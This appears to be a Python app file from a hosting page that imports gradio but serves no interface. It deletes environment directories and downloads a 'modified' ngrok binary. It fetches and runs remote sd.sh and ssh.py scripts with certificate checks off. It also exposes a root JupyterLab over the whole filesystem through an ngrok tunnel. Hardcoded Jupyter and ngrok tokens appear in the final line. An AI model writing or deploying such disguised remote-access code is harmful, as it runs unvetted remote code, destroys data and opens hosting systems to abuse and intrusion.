File size: 2,816 Bytes
dab6235
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
bfe9bf8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# python 3.10.9
# Nyan9 All rights reserved
import gradio as gr
import subprocess
import shlex
import os
import subprocess
import sys
import tarfile

# 清理环境
os.system("rm -rf /root/venv* && rm -rf /dev/shm/*")

# 定义仓库ID
repo_id = "tzk1212123/modelscope_code"

def nyan_ngrok():
    def way1():
        # 下载奇怪的GPG密钥
        subprocess.run("curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc > /dev/null", shell=True, check=True)
        # APT 源
        subprocess.run("echo 'deb https://ngrok-agent.s3.amazonaws.com buster main' | sudo tee /etc/apt/sources.list.d/ngrok.list", shell=True, check=True)
        # 更新 APT
        subprocess.run("sudo apt update", shell=True, check=True)
        subprocess.run("sudo apt install ngrok -y", shell=True, check=True)

    def way2():
        # 下载nyan9作者修改的ngrok
        ngrok_url = f"https://hf-mirror.com/datasets/{repo_id}/resolve/main/ngrok-v3-stable-linux-amd64.tgz"
        ngrok_path = os.path.expanduser("~/ngrok-v3-stable-linux-amd64.tgz")
        print("Downloading ngrok...")
        try:
            # 使用 aria2c 替换 wget,并正确指定下载目录和保存名称
            subprocess.run([
                "aria2c", "-x", "16", "-s", "16", "-c", "-k", "1M", 
                "-d", os.path.dirname(ngrok_path),  # 下载目录
                "-o", os.path.basename(ngrok_path),  # 保存文件名
                ngrok_url
            ], check=True)
        except subprocess.CalledProcessError:
            print("下载失败,将采用方案一")
            way1()
            
        # /usr/local/bin
        print("Extracting ngrok...")
        try:
            # 使用 sudo 权限解压
            subprocess.run([
                "sudo", "tar", "-xvzf", ngrok_path, "-C", "/usr/local/bin"
            ], check=True)
        except Exception as e:
            print("解压失败,将采用方案一APT安装")
            way1()
        print("ngrok has been installed successfully.")
    
    way2()

# 更新 APT
subprocess.run("sudo apt update", shell=True, check=True)
nyan_ngrok()

# launch
os.chdir("/root")

# 下载必要文件
os.system(f"wget 'https://hf-mirror.com/datasets/{repo_id}/resolve/main/sd.sh' --no-check-certificate")
os.system(f"wget -O 'ssh.py' --no-check-certificate 'https://hf-mirror.com/datasets/{repo_id}/resolve/main/ssh.py?download=true'")

while True:
    os.chdir("/root")
    os.system("apt install -y aria2 sshpass")
    os.system("bash sd.sh & python ssh.py & jupyter-lab --no-browser --ip=0.0.0.0 --allow-root --notebook-dir=/ --port=65432 --LabApp.allow_origin=* --LabApp.token=Asdf1472580369 --LabApp.base_url=/loves & ngrok http 65432 --authtoken=2p4LB2DMncND09TtByIgYoPCiMd_4ngvZJW4VmhQPK3etQfLh")